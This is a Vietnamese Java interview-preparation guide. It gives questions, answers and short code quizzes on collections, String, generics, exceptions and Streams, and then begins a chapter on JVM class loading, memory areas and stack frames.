Câu hỏi (Thực chiến): Service nạp 1 triệu bản ghi vào HashMap lúc khởi động, thấy chậm và GC nhiều. Bạn xem xét gì?
Ý chính: kiểm tra resize liên tục (khởi tạo đúng capacity), chất lượng hashCode của key, và kích thước object; sau đó mới nghĩ đến cấu trúc khác.
1. new HashMap<>() mặc định capacity 16 sẽ resize khoảng 17 lần để chứa 1 triệu phần tử, mỗi lần cấp mảng mới và chia lại node. Dùng HashMap.newHashMap(1_000_000) (Java 19+) hoặc new HashMap<>((int) (1_000_000 / 0.75f) + 1).
1. Nếu key là class tự viết, kiểm tra hashCode có phân bố đều không (đo bằng profiler, xem có bucket bị treeify không).
1. Key/value dạng wrapper (Long, Integer) tốn khoảng 16 byte mỗi object cộng node 32 byte; với dữ liệu thuần số có thể cân nhắc thư viện map cho primitive hoặc đưa dữ liệu vào cache/DB thay vì giữ trong Heap.
1. Đo trước và sau bằng log thời gian khởi động và GC log, đừng tối ưu theo cảm giác.
Câu hỏi (Đọc code): Đoạn code dưới đây in ra gì?
	import java.util.Comparator;
import java.util.TreeSet;
 
public class TreeSetLengthDemo {
    public static void main(String[] args) {
        TreeSet<String> names = new TreeSet<>(Comparator.comparing(String::length));
        names.add("an");
        names.add("bo");
        names.add("cuong");
        System.out.println(names + " " + names.contains("xy"));
    }
}



Đáp án: In ra [an, cuong] true.
1. TreeSet không dùng equals mà dùng comparator để quyết định hai phần tử có trùng không. Comparator ở đây chỉ so độ dài, nên "bo" (dài 2) bị coi là trùng với "an" và không được thêm.
1. contains("xy") cũng chỉ so độ dài, tìm thấy một phần tử dài 2 nên trả về true, dù "xy" chưa từng được thêm.
1. Bài học: comparator của TreeSet/TreeMap phải nhất quán với equals; muốn sắp theo độ dài mà không mất phần tử thì thêm tiêu chí phụ, ví dụ Comparator.comparing(String::length).thenComparing(Comparator.naturalOrder()).
Câu hỏi (Cơ bản): Vì sao String bất biến? Khi nào dùng StringBuilder?
Bất biến cho phép String pool chia sẻ instance, thread-safe tự nhiên, cache hashCode (key HashMap rẻ) và an toàn khi truyền qua các tầng. Dùng StringBuilder khi ghép chuỗi trong vòng lặp; một biểu thức + đơn lẻ thì trình biên dịch đã tối ưu.
	BẪY THƯỜNG GẶP
So sánh String bằng ==. Code có thể chạy đúng khi test với literal (cùng pool) rồi sai trên production khi chuỗi đến từ request hoặc DB.



Câu hỏi (Đọc code): Đoạn code dưới đây in ra gì?
	public class StringQuiz {
    public static void main(String[] args) {
        String s = "java";
        s.toUpperCase();
        final String f = "ja";
        String v = "ja";
        System.out.println(s);
        System.out.println((f + "va") == "java");
        System.out.println((v + "va") == "java");
    }
}



Đáp án: In ra java, true, false trên ba dòng.
1. s.toUpperCase() trả về một String mới là "JAVA" nhưng kết quả bị bỏ đi; s vẫn trỏ "java" vì String bất biến. Muốn đổi phải viết s = s.toUpperCase().
1. f là final và được gán bằng literal nên là hằng biên dịch; f + "va" được gộp thành literal "java" lúc biên dịch, trỏ cùng object trong pool, nên == là true.
1. v không final, phép ghép chạy lúc runtime và tạo object mới, nên == là false. Kết luận vẫn là: so sánh String bằng equals().
Câu hỏi (Cơ bản): String pool nằm ở đâu? Khi nào nên gọi intern()?
Ý chính: từ Java 7, String pool nằm trong Heap (trước đó ở PermGen); intern() hầu như không cần gọi trong code ứng dụng.
Literal và hằng biên dịch tự vào pool. intern() đưa một chuỗi tạo lúc runtime vào pool (hoặc trả về bản đã có) để các chuỗi trùng nội dung dùng chung một object. Nó từng được dùng để tiết kiệm bộ nhớ khi có hàng triệu chuỗi lặp lại (mã tỉnh, trạng thái), nhưng pool là một bảng băm cố định kích thước nên lạm dụng làm chậm. Hiện nay G1 có tùy chọn -XX:+UseStringDeduplication tự gộp mảng ký tự trùng mà không cần sửa code.
	BẪY THƯỜNG GẶP
Nói "String pool nằm trong Stack" hoặc "PermGen" khi hỏi về Java 17. Stack chỉ chứa biến cục bộ và tham chiếu; PermGen đã bị bỏ từ Java 8 (thay bằng Metaspace, và Metaspace không chứa String pool).



Câu hỏi (Đọc code): Đoạn code dưới đây in ra gì?
	public class SwapQuiz {
    static void swap(Integer a, Integer b) { Integer t = a; a = b; b = t; }
 
    static void rename(StringBuilder sb) {
        sb.append("!");
        sb = new StringBuilder("new");
    }
 
    public static void main(String[] args) {
        Integer x = 1, y = 2;
        swap(x, y);
        StringBuilder name = new StringBuilder("an");
        rename(name);
        System.out.println(x + " " + y + " " + name);
    }
}



Đáp án: In ra 1 2 an!.
1. swap chỉ tráo hai bản sao tham chiếu cục bộ a và b; x, y bên ngoài không đổi. Không thể viết hàm swap hai biến trong Java.
1. rename sửa object StringBuilder chung qua append("!"), nên name thấy an!. Dòng gán sb = new StringBuilder("new") chỉ đổi bản sao cục bộ, không ảnh hưởng name.
1. Đây là minh chứng gọn nhất cho pass-by-value: sửa object thì bên ngoài thấy, gán lại tham số thì không.
Câu hỏi (Hiểu sâu): Nếu Java chỉ pass-by-value, vì sao method vẫn sửa được object của caller?
Ý chính: vì "giá trị" được chép là tham chiếu, nên bản sao và bản gốc cùng trỏ một object; sửa object thì cả hai thấy, nhưng gán lại tham số thì không.
Pass-by-reference thật (như ref trong C#) cho phép method làm biến của caller trỏ sang object khác; Java không làm được điều đó. Người phỏng vấn thường muốn nghe bạn phân biệt hai hành động: sửa trạng thái object (thấy được bên ngoài) và gán lại biến (không thấy). Hệ quả thực tế: method nhận entity hoặc collection có thể âm thầm sửa dữ liệu của caller, nên cần sao chép phòng thủ hoặc dùng kiểu bất biến.
Câu hỏi (Hiểu sâu): ConcurrentModificationException xảy ra khi nào? Chỉ trong đa luồng à?
Không. Nó xảy ra khi collection bị sửa cấu trúc trong lúc đang duyệt bằng iterator mà không qua chính iterator, kể cả trong một thread, ví dụ gọi list.remove() trong vòng for-each. Cách sửa: removeIf, iterator.remove(), hoặc tạo list mới bằng Stream filter.
	CÂU HỎI ĐÀO SÂU
"ConcurrentHashMap có ném lỗi này không?" — Không, iterator của nó là weakly consistent: không ném exception, phản ánh trạng thái tại một thời điểm nào đó và có thể thấy hoặc không thấy các thay đổi đồng thời.



Câu hỏi (Cơ bản): ArrayList và LinkedList, trong dự án bạn chọn cái nào?
Ý chính: gần như luôn là ArrayList; cần queue/stack thì ArrayDeque; LinkedList hầu như không có lý do dùng.
1. ArrayList truy cập theo index O(1), dữ liệu nằm liền nhau nên tận dụng CPU cache tốt; thêm vào cuối O(1) trung bình (thỉnh thoảng nới mảng 1,5 lần).
1. LinkedList chỉ chèn/xóa O(1) khi đã đứng ở node đó; tìm vị trí vẫn O(n), mỗi node tốn thêm hai tham chiếu và object header.
1. Ví dụ trả lời ăn điểm: "Tôi từng đo một list 100.000 phần tử, duyệt ArrayList nhanh hơn LinkedList vài lần dù cùng O(n), vì các node LinkedList nằm rải rác trên Heap."
Câu hỏi (Cơ bản): List.of(), Arrays.asList() và new ArrayList<>() khác nhau thế nào?
Ý chính: List.of không sửa được gì, Arrays.asList sửa được phần tử nhưng không đổi được kích thước, new ArrayList sửa được mọi thứ.
	
	List.of(...)
	Arrays.asList(...)
	new ArrayList<>(...)

	add/remove
	UnsupportedOperationException
	UnsupportedOperationException
	Được

	set(i, x)
	UnsupportedOperationException
	Được, ghi xuống mảng gốc
	Được

	Phần tử null
	NullPointerException
	Được
	Được



Lỗi production hay gặp: một method trả về List.of(...) hoặc stream().toList(), nơi khác gọi add và nhận UnsupportedOperationException lúc chạy. Nếu cần list sửa được, tạo rõ ràng new ArrayList<>(source).
Câu hỏi (Hiểu sâu): So sánh iterator fail-fast và weakly consistent. Khi nào dùng CopyOnWriteArrayList?
Ý chính: fail-fast (collection trong java.util) ném ConcurrentModificationException khi phát hiện bị sửa trong lúc duyệt; weakly consistent (collection trong java.util.concurrent) không ném lỗi mà duyệt trên một trạng thái có thể hơi cũ.
1. Fail-fast dựa vào modCount, chỉ là cơ chế phát hiện lỗi, không đảm bảo thread-safe và không hứa lúc nào cũng phát hiện được.
1. CopyOnWriteArrayList mỗi lần ghi chép toàn bộ mảng sang mảng mới; iterator duyệt trên bản chụp lúc tạo. Đọc rất rẻ và không cần khóa, ghi rất đắt.
1. Dùng khi đọc nhiều, ghi cực hiếm và list nhỏ: danh sách listener, cấu hình nạp lúc khởi động. Không dùng cho list thường xuyên thêm phần tử (mỗi lần add là một lần chép mảng).
	CÂU HỎI ĐÀO SÂU
"Có người gọi weakly consistent là fail-safe, đúng không?" — Đó là tên gọi không chính thức trong nhiều tài liệu; JDK dùng từ weakly consistent. Nói được cả hai và giải thích ý nghĩa là đủ.



Câu hỏi (Hiểu sâu): Type erasure là gì và ảnh hưởng gì đến code của bạn?
Generic chỉ tồn tại lúc biên dịch; bytecode thay T bằng Object hoặc bound. Vì thế không thể new T(), không overload theo tham số generic, không instanceof List<String>. Muốn giữ kiểu lúc runtime thì truyền Class<T> hoặc dùng "super type token" như TypeReference của Jackson.
	CÂU HỎI ĐÀO SÂU
"Giải thích PECS với ví dụ." — copy(List<? extends T> src, List<? super T> dest): src chỉ đọc nên extends, dest chỉ ghi nên super. Nhờ đó copy được List<Integer> vào List<Number>.



Câu hỏi (Hiểu sâu): Vì sao List<Integer> không phải là List<Number> dù Integer là Number?
Ý chính: vì nếu cho phép, ta có thể bỏ một Double vào một list vốn chỉ chứa Integer; generic được thiết kế invariant để chặn lỗi đó ngay lúc biên dịch.
Giả sử được gán List<Number> nums = ints; với ints là List<Integer>. Khi đó nums.add(3.14) hợp lệ về kiểu, và lần sau ints.get(0) trả về một Double trong khi code tin rằng đó là Integer, gây ClassCastException ở một nơi rất xa chỗ gây lỗi. Mảng thì ngược lại, là covariant (Integer[] là Number[]), và vì thế phải kiểm tra lúc runtime: gán Number[] arr = new Integer[1]; arr[0] = 3.14; ném ArrayStoreException. Wildcard ? extends/? super là cách lấy lại tính linh hoạt một cách an toàn.
Câu hỏi (Cơ bản): Tìm lỗi: method printAll(List<Object> items) không nhận được List<String>. Sửa thế nào?
Ý chính: đổi tham số thành List<?> (hoặc List<? extends Object>), vì method chỉ đọc phần tử ra để in.
List<String> không phải List<Object> (generic invariant), nên lời gọi printAll(names) báo lỗi incompatible types: List<String> cannot be converted to List<Object>. List<?> nghĩa là "list của kiểu gì cũng được"; đọc ra được Object, đủ để gọi toString(). Theo PECS, tham số chỉ đọc là producer nên dùng extends; ? trơn là dạng ngắn của ? extends Object.
Câu hỏi (Thực chiến): Checked hay unchecked? Bạn thiết kế exception trong dự án thế nào?
Tôi dùng unchecked cho gần như mọi lỗi nghiệp vụ, tạo một vài exception có ý nghĩa (NotFound, Conflict, BusinessRuleViolation) mang mã lỗi, rồi map sang HTTP status tại @RestControllerAdvice. Checked exception từ thư viện (IOException) được bọc lại kèm cause. Mỗi lỗi chỉ log một lần ở biên.
	BẪY THƯỜNG GẶP
Ném checked exception trong method @Transactional và nghĩ rằng transaction sẽ rollback. Mặc định Spring chỉ rollback với RuntimeException và Error.



Câu hỏi (Hiểu sâu): try-with-resources khác gì so với tự đóng resource trong finally?
Ý chính: try-with-resources tự đóng resource theo thứ tự ngược lúc mở và giữ lại lỗi gốc; finally viết tay dễ quên đóng, dễ để lỗi của close() đè mất lỗi gốc.
1. Với finally { in.close(); }, nếu khối try ném lỗi A và close() ném lỗi B, exception bay ra là B, A biến mất khỏi log.
1. try-with-resources ném A và gắn B vào A.getSuppressed(), không mất thông tin nào (xem SuppressedDemo ở mục 1.7).
1. Mở nhiều resource trong cùng một câu try (a; b) thì b đóng trước a, đúng thứ tự phụ thuộc (ví dụ đóng ResultSet trước Connection).
1. Điều kiện: resource phải implement AutoCloseable.
Câu hỏi (Thực chiến): Tìm lỗi: job xuất báo cáo thất bại, log chỉ có "export failed" và "Job failed". Đoạn code sai ở đâu?
	public class ReportJob {
    void run() {
        try {
            exportToStorage();
        } catch (Exception e) {
            log("export failed");
            throw new RuntimeException("Job failed");
        }
    }
 
    void exportToStorage() throws Exception { throw new java.io.IOException("Access Denied"); }
 
    void log(String msg) { System.out.println(msg); }
}



Đáp án: Có ba lỗi, và cả ba cùng xóa mất nguyên nhân thật "Access Denied".
1. log("export failed") không ghi exception e, nên log không có message lẫn stack trace của lỗi gốc.
1. new RuntimeException("Job failed") không truyền e làm cause, nên stack trace ném lên cũng không có dòng "Caused by".
1. Vừa log vừa ném lại: nếu tầng trên cũng log, cùng một lỗi xuất hiện nhiều lần. Chọn một: hoặc xử lý và log đầy đủ ở đây, hoặc chỉ ném lên kèm cause và để global handler log.
Bản sửa tối thiểu là throw new IllegalStateException("Export report failed", e); và bỏ dòng log. Ngoài ra, bắt Exception quá rộng sẽ nuốt cả NullPointerException do bug; nếu chỉ muốn xử lý lỗi I/O thì bắt IOException.
Câu hỏi (Cơ bản): orElse và orElseGet khác nhau thế nào?
orElse(x) luôn tính x trước, kể cả khi Optional có giá trị; orElseGet(supplier) chỉ gọi supplier khi Optional rỗng. Nếu giá trị mặc định là lời gọi DB, gọi API hoặc tạo object nặng, dùng orElseGet.
	CÂU HỎI ĐÀO SÂU
"Có nên dùng Optional làm field hoặc tham số không?" — Không. Optional dành cho kiểu trả về. Field Optional không Serializable, tham số Optional buộc caller bọc giá trị và vẫn có thể truyền null.



Câu hỏi (Cơ bản): map và flatMap trong Stream khác nhau thế nào?
Ý chính: map biến mỗi phần tử thành đúng một phần tử; flatMap biến mỗi phần tử thành một stream rồi nối các stream đó thành một.
Ví dụ: orders.stream().map(Order::lines) cho Stream<List<OrderLine>>, mỗi phần tử là cả một danh sách; orders.stream().flatMap(o -> o.lines().stream()) cho Stream<OrderLine>, tất cả dòng hàng của mọi đơn nằm trên một dòng chảy. Dùng flatMap khi quan hệ là một-nhiều và bạn muốn xử lý các phần tử "con". Optional cũng có flatMap với ý nghĩa tương tự: tránh Optional<Optional<T>>.
Câu hỏi (Hiểu sâu): Lambda khác anonymous class ở những điểm nào?
Ý chính: lambda không tạo scope mới (từ khóa this trỏ tới object bao ngoài), chỉ dùng được cho functional interface, và được tạo qua invokedynamic thay vì sinh file .class riêng.
1. this trong anonymous class là chính object ẩn danh; trong lambda là object của class bao ngoài.
1. Anonymous class có thể implement interface nhiều method hoặc kế thừa class, có field riêng; lambda thì không.
1. Anonymous class luôn tạo instance mới mỗi lần chạy qua; lambda không capture biến có thể được JVM dùng lại một instance.
1. Giống nhau: cả hai chỉ dùng được biến cục bộ effectively final.
Câu hỏi (Hiểu sâu): Vì sao một Stream không có thao tác kết thúc thì không chạy gì cả?
Ý chính: các thao tác trung gian là lazy, chỉ xây dựng pipeline; dữ liệu chỉ bắt đầu chảy khi có thao tác kết thúc như collect, count, findFirst, forEach.
Nhờ lazy, Stream xử lý từng phần tử qua cả pipeline rồi mới sang phần tử kế tiếp, nên có thể dừng sớm (findFirst, limit, anyMatch) và không cần tạo collection trung gian. Hệ quả: code như list.stream().peek(this::sendEmail); không gửi email nào cả. Và từ Java 9, count() có thể bỏ qua cả peek/map nếu biết trước kích thước nguồn, nên đừng bao giờ đặt side effect quan trọng trong thao tác trung gian (xem LazyStreamDemo ở mục 1.8).
Câu hỏi (Thực chiến): API báo lỗi 500 với IllegalStateException: Duplicate key trên production, dù chạy ổn ở môi trường test. Bạn điều tra thế nào?
Ý chính: gần như chắc chắn là Collectors.toMap gặp dữ liệu trùng key mà không có merge function; dữ liệu test không có trùng nên không lộ ra.
1. Stack trace chỉ tới dòng collect(Collectors.toMap(...)); message còn ghi rõ key bị trùng và hai value.
1. Truy ngược dữ liệu: vì sao cùng một key xuất hiện hai lần? Thường là JOIN trả về nhiều dòng, thiếu unique constraint trong DB, hoặc chuẩn hóa hoa thường chưa nhất quán.
1. Sửa theo nghiệp vụ: nếu trùng là hợp lệ, thêm merge function (giữ bản mới nhất, cộng dồn) hoặc đổi sang groupingBy; nếu trùng là dữ liệu hỏng, sửa dữ liệu và thêm unique constraint, đồng thời để lỗi báo rõ ràng.
1. Bổ sung test với dữ liệu trùng để lỗi không quay lại.
	CÂU HỎI ĐÀO SÂU
"toMap còn bẫy nào khác?" — Value null ném NullPointerException (vì dùng HashMap.merge), và map trả về không đảm bảo thứ tự; cần giữ thứ tự thì dùng dạng bốn tham số với LinkedHashMap::new.



Câu hỏi (Thực chiến): Khi nào không nên dùng parallel stream?
Khi có I/O hoặc blocking (chặn common pool dùng chung toàn JVM), dữ liệu nhỏ, nguồn khó chia (LinkedList, iterate), có side effect hoặc cần thứ tự. Trong ứng dụng web, request đã chạy song song trên nhiều thread, nên parallel stream thường chỉ tăng tranh chấp CPU. Tôi chỉ cân nhắc cho tác vụ tính toán thuần CPU trên tập dữ liệu lớn và luôn đo trước khi bật.
	BẪY THƯỜNG GẶP
Dùng parallelStream().forEach(list::add) với ArrayList thường: race condition, mất phần tử hoặc ArrayIndexOutOfBoundsException. Hãy dùng collect.



Câu hỏi (Hiểu sâu): Record, sealed và pattern matching giúp gì trong code nghiệp vụ?
Record thay cho DTO/value object viết tay (equals/hashCode/toString đúng hợp đồng, bất biến). Sealed giới hạn các loại con, kết hợp switch pattern (Java 21) thì compiler kiểm tra đầy đủ: thêm loại thanh toán mới mà quên xử lý là lỗi biên dịch, không phải bug production.
	CÂU HỎI ĐÀO SÂU
"Record có thực sự bất biến không?" — Chỉ nông: field final nhưng object bên trong vẫn có thể mutable. Cần List.copyOf trong compact constructor. Record cũng không hợp làm JPA entity.



1.10 Tóm tắt trọng tâm
1. Ưu tiên composition vì class chỉ phụ thuộc vào API công khai của thành phần; kế thừa làm class con phụ thuộc chi tiết cài đặt của class cha (fragile base class).
1. Từ Java 8, interface có default/static/private method nhưng vẫn không có trạng thái; chọn abstract class chỉ khi cần chia sẻ field và logic khởi tạo.
1. Override equals thì phải override hashCode trên cùng các field, vì HashMap/HashSet dùng hashCode để chọn bucket trước khi gọi equals.
1. Key của HashMap phải bất biến, vì sửa field tham gia hashCode sau khi put làm entry lạc bucket, không tìm được và không xóa được.
1. HashMap chọn bucket bằng (h ^ (h >>> 16)) & (n - 1), nên capacity luôn là lũy thừa của 2; vượt 0.75 capacity thì nhân đôi mảng.
1. Bucket quá 8 node và capacity từ 64 thì treeify thành cây đỏ đen, vì đó là lưới an toàn khi hashCode tệ, không phải lý do viết hashCode cẩu thả.
1. String bất biến nên chia sẻ được qua pool, thread-safe và cache được hashCode; so sánh String luôn bằng equals() vì == chỉ so tham chiếu.
1. Ghép chuỗi trong vòng lặp dùng StringBuilder, vì + trong vòng lặp chép lại toàn bộ nội dung cũ mỗi lần.
1. Java chỉ pass-by-value: method sửa được object qua bản sao tham chiếu nhưng không làm biến của caller trỏ sang object khác.
1. Sửa collection trong lúc duyệt bằng for-each gây ConcurrentModificationException ngay cả trong một thread; dùng removeIf hoặc iterator.remove().
1. Generic bị xóa kiểu sau biên dịch nên không có new T() hay instanceof List<String>; generic invariant nên cần PECS: đọc ra dùng extends, ghi vào dùng super.
1. Bọc exception luôn truyền cause và chỉ log một lần ở biên, vì mất cause là mất nguyên nhân gốc khi debug production.
1. Stream là lazy và chỉ dùng một lần; orElse luôn tính đối số còn orElseGet chỉ gọi khi rỗng; toMap cần merge function khi có thể trùng key.
1. Sealed + record + switch pattern cho phép trình biên dịch kiểm tra đầy đủ các trường hợp, nên thêm loại mới mà quên xử lý là lỗi biên dịch thay vì bug runtime.
1. Record chỉ bất biến nông, nên cần List.copyOf trong compact constructor khi có field là collection.
1.11 Checklist ôn tập
1. Giải thích được vì sao ưu tiên composition, kèm ví dụ fragile base class (CountingSet).
1. Phân biệt interface (default/static/private method) và abstract class theo trạng thái và mục đích.
1. Phát biểu hợp đồng equals/hashCode và ba hậu quả khi vi phạm; biết vì sao key HashMap nên bất biến.
1. Giải thích String immutability, String pool nằm trong Heap, khi nào dùng StringBuilder.
1. Chứng minh Java chỉ có pass-by-value bằng ví dụ gán lại tham số.
1. Trình bày HashMap: hash spreading, hash & (n - 1), collision, treeify (8 node, capacity 64), resize 0.75.
1. Biết khi nào dùng LinkedHashMap (thứ tự, LRU) và TreeMap (sắp xếp, range query).
1. Giải thích fail-fast và cách xóa phần tử an toàn khi duyệt.
1. Nói được hệ quả của type erasure và áp dụng PECS.
1. Thiết kế exception: unchecked cho nghiệp vụ, giữ cause, log một lần, không nuốt lỗi, try-with-resources.
1. Dùng Stream đúng: map/flatMap, lazy, toList() vs Collectors.toList(), không lạm dụng parallel.
1. Dùng Optional đúng chỗ, phân biệt orElse và orElseGet.
1. Viết được ví dụ sealed + record + switch pattern (Java 21) và biết giới hạn của record.
Chương 2. JVM, bộ nhớ và Garbage Collection
Ở mức 2–4 năm, tôi không cần bạn thuộc tên từng thuật toán GC. Tôi cần biết khi service của bạn chết vì OutOfMemoryError lúc 2 giờ sáng, bạn làm gì tiếp theo: lấy bằng chứng gì, dùng công cụ nào, đọc kết quả ra sao. Kiến thức về vùng nhớ và GC chỉ có giá trị khi nó giúp bạn chẩn đoán sự cố thật. Chương này đi từ nền tảng tối thiểu đến quy trình xử lý sự cố mà tôi mong ứng viên kể lại được bằng trải nghiệm của chính mình.
	NGƯỜI PHỎNG VẤN MUỐN KIỂM TRA
1. Bạn mô tả đúng các vùng nhớ: Heap (young/old), Stack, Metaspace, và biết cái gì nằm ở đâu.
1. Bạn hiểu GC dựa trên reachability từ GC roots, biết G1 là mặc định và khi nào cân nhắc ZGC.
1. Bạn phân biệt các loại OutOfMemoryError và nguyên nhân rò rỉ bộ nhớ điển hình trong ứng dụng Spring.
1. Bạn có quy trình rõ ràng khi production bị OOM hoặc CPU 100%, và biết dùng jcmd, jstack, heap dump, JFR.
1. Bạn biết cấu hình JVM trong container (Docker/Kubernetes) để không bị kill oan.



2.1 JDK, JRE, JVM, class loading và JIT
	NHẮC LẠI KIẾN THỨC
javac biên dịch file .java thành bytecode (.class), còn JVM nạp bytecode đó, vừa thông dịch vừa dùng JIT dịch phần chạy nhiều sang mã máy (xem N1.1). static nghĩa là "thuộc về class": static block chạy một lần khi class được nạp, cha trước con (xem N1.3 và N1.4).



JVM thực thi bytecode; JRE là JVM cộng thư viện chuẩn; JDK là JRE cộng công cụ phát triển (javac, jar, jcmd, jstack, jfr...). Từ Java 11, Oracle không phát hành JRE riêng nữa; nếu muốn runtime gọn cho container, bạn dùng jlink để tạo runtime chỉ gồm các module cần thiết, hoặc dùng image JRE do các nhà phân phối OpenJDK (như Eclipse Temurin) cung cấp.
Class loading gồm ba bước: loading (đọc bytecode), linking (verify, prepare cấp giá trị mặc định cho static field, resolve), initialization (chạy static initializer). Class chỉ được khởi tạo khi dùng lần đầu. Java dùng mô hình parent delegation: Application ClassLoader nhờ Platform ClassLoader (Java 9+, thay cho Extension ClassLoader cũ), Platform nhờ Bootstrap; chỉ khi cha không tìm thấy thì con mới tự nạp. Nhờ vậy không ai có thể tự viết một java.lang.String giả để thay thế class của JDK.
Class loading bằng lời thường
Hãy hình dung JVM như một thư viện: sách (class) không được bày sẵn hết lên bàn lúc mở cửa, mà chỉ được lấy ra khi có người cần đọc. Việc "lấy sách ra và chuẩn bị" gồm ba bước:
1. Nạp (loading): ClassLoader tìm file .class (trong JAR, thư mục classpath), đọc các byte và tạo một object java.lang.Class đại diện cho class đó.
1. Liên kết (linking): kiểm tra bytecode hợp lệ, không phá luật an toàn (verify); cấp chỗ cho static field và gán giá trị mặc định 0, false, null (prepare); đổi các tên tượng trưng như "java/lang/String" trong bytecode thành tham chiếu thật (resolve, có thể làm lười về sau).
1. Khởi tạo (initialization): chạy các lệnh gán static field và static block theo đúng thứ tự viết trong code. Đây là lúc dòng static { ... } mà bạn đã gặp ở N1.3, N1.4 thực sự chạy.
"Dùng lần đầu" có nghĩa cụ thể: tạo object bằng new, gọi static method, đọc/ghi static field (trừ hằng số compile-time), khởi tạo class con, hoặc dùng reflection như Class.forName. Đoạn code dưới đây cho thấy những thao tác nào thực sự kích hoạt bước khởi tạo:
	public class LazyInitDemo {
    static class Config {
        static final int MAX = 10;                 // compile-time constant: copied into caller, no init
        static int counter = log("Config.counter initialized");
        static { System.out.println("Config static block"); }
        static int log(String s) { System.out.println(s); return 0; }
    }
 
    public static void main(String[] args) {
        System.out.println("main starts");
        System.out.println("MAX = " + Config.MAX);               // does NOT initialize Config
        Config[] arr = new Config[3];                            // array creation does NOT either
        System.out.println("array length = " + arr.length);
        System.out.println("counter = " + Config.counter);       // first real use: init runs here
        System.out.println("counter again = " + Config.counter); // no second init
    }
}



Giải thích: Chương trình in lần lượt main starts, MAX = 10, array length = 3, Config.counter initialized, Config static block, counter = 0, counter again = 0.
1. Config.MAX là hằng số static final kiểu nguyên thủy có giá trị biết lúc biên dịch, nên javac chép thẳng số 10 vào main; JVM không cần khởi tạo Config.
1. Tạo mảng Config[] chỉ cần biết kiểu, không chạm vào static field nào, nên cũng không khởi tạo.
1. Lần đọc Config.counter đầu tiên mới kích hoạt bước 3: các lệnh static chạy theo thứ tự viết (dòng gán counter trước, static block sau). Lần đọc thứ hai không chạy lại vì mỗi class chỉ khởi tạo một lần cho mỗi ClassLoader.
1. Hệ quả thực tế: lỗi trong static block (ví dụ đọc file cấu hình không tồn tại) chỉ lộ ra lúc class được dùng lần đầu, dưới dạng ExceptionInInitializerError; những lần dùng sau nhận NoClassDefFoundError, rất dễ đọc nhầm thành "thiếu JAR".
JIT: JVM bắt đầu bằng cách thông dịch bytecode, đồng thời đếm số lần gọi method và vòng lặp. Đoạn code "nóng" được biên dịch sang mã máy bởi C1 (nhanh, tối ưu vừa phải) rồi C2 (chậm hơn nhưng tối ưu mạnh: inline, escape analysis, loại bỏ lock không cần thiết). Đây là lý do ứng dụng Java cần warm-up: vài phút đầu sau khi deploy thường chậm hơn, và benchmark nghiêm túc phải dùng JMH thay vì đo bằng System.currentTimeMillis().
2.2 Các vùng nhớ của JVM
	Vùng nhớ
	Chứa gì
	Phạm vi
	Lỗi khi cạn

	Heap
	Mọi object và mảng, String pool, static field (qua Class object)
	Chung mọi thread
	OutOfMemoryError: Java heap space

	Stack
	Frame của mỗi lời gọi: biến cục bộ, tham chiếu, operand
	Riêng từng thread
	StackOverflowError

	Metaspace
	Metadata của class, method, bytecode
	Chung, nằm ở native memory
	OutOfMemoryError: Metaspace

	Khác (native)
	Code cache của JIT, direct buffer, thread stack, GC
	Native memory
	OOM native hoặc bị OS kill



Heap young/old bằng lời thường
Heap là vùng nhớ chung nơi mọi object được tạo bằng new sinh sống. JVM chia Heap thành hai "khu" dựa trên tuổi của object, giống một thành phố có khu nhà trọ ngắn ngày và khu dân cư lâu năm:
1. Young generation (thế hệ trẻ): nơi object mới ra đời. Gồm Eden (chỗ cấp phát mọi object mới) và hai vùng Survivor S0, S1 (chỗ tạm cho object vừa sống sót qua một lần dọn). Mỗi lần sống sót, object được tăng "tuổi" thêm 1.
1. Old generation (thế hệ già): nơi object đạt đủ tuổi (mặc định tối đa 15 lần sống sót, JVM có thể hạ ngưỡng này) được chuyển lên, hoặc object quá lớn không vừa Survivor. Ví dụ điển hình: Spring bean, cache, connection pool, những thứ sống suốt đời ứng dụng.
Vì sao phải chia? Trong một web service, DTO của một request, chuỗi JSON tạm, list kết quả trung gian đều chết ngay khi request trả về. Nếu tách riêng khu chứa chúng, GC chỉ cần dọn khu nhỏ này thường xuyên và rẻ, còn khu Old ít thay đổi thì lâu lâu mới dọn một lần. Ví dụ cụ thể:
	Object
	Sinh ra ở
	Thường kết thúc ở

	OrderDto của một request
	Eden
	Chết ngay ở minor GC kế tiếp

	StringBuilder ghép log
	Eden
	Chết ngay ở minor GC kế tiếp

	Entry trong cache Caffeine
	Eden
	Sống sót nhiều lần, lên Old

	Bean OrderService
	Eden lúc khởi động
	Lên Old, sống tới khi tắt app



Heap được chia theo thế hệ (generational) dựa trên quan sát thực nghiệm: đa số object chết rất trẻ (DTO của một request, String tạm). Young generation gồm Eden và hai vùng Survivor; object mới sinh ra ở Eden, sống sót qua vài lần minor GC thì được chuyển (promote) lên Old generation. Dọn young gen nhanh vì chỉ cần copy số ít object còn sống.
Metaspace thay cho PermGen từ Java 8. PermGen có kích thước cố định, dễ gây OutOfMemoryError: PermGen space khi redeploy nhiều lần trên Tomcat. Metaspace nằm ở native memory và mặc định không giới hạn (có thể đặt -XX:MaxMetaspaceSize).
	GHI CHÚ
Nhiều tài liệu cũ ghi "Metaspace lưu static variable". Không chính xác: từ Java 8, giá trị static field nằm trong Heap (gắn với object java.lang.Class), Metaspace chỉ chứa metadata của class. String pool cũng đã chuyển từ PermGen sang Heap từ Java 7.



Mỗi thread có stack riêng (mặc định khoảng 1 MB trên Linux 64-bit, chỉnh bằng -Xss). Vì vậy 2.000 platform thread có thể chiếm tới 2 GB bộ nhớ ngoài Heap (dù thực tế OS chỉ cấp trang nhớ khi dùng tới), một lý do nữa để không tạo thread vô tội vạ.
Stack frame: ví dụ gọi hàm lồng nhau
Mỗi thread có một Stack riêng, hoạt động như chồng đĩa: đĩa đặt sau cùng được lấy ra trước. Mỗi lần gọi một method, JVM đặt lên chồng một "đĩa" gọi là stack frame, chứa tham số, biến cục bộ và chỗ tính toán tạm của lần gọi đó. Method trả về thì frame của nó bị bỏ đi ngay, không cần GC. Đoạn code dưới đây gọi lồng ba tầng main → square → multiply và in ra chuỗi frame đang có trên Stack:
	import java.util.Arrays;
import java.util.stream.Collectors;
 
public class StackFrameDemo {
    public static void main(String[] args) {
        int base = 2;
        int result = square(base) + 1;
        System.out.println("result = " + result);              // prints: result = 5
    }
 
    static int square(int x) {
        int y = multiply(x, x);                                // pushes a frame for multiply
        return y;                                              // square's frame is popped after this
    }
 
    static int multiply(int a, int b) {
        String frames = Arrays.stream(new Throwable().getStackTrace())
                .map(StackTraceElement::getMethodName)
                .collect(Collectors.joining(" <- "));
        System.out.println(frames);                            // prints: multiply <- square <- main
        return a * b;
    }
}



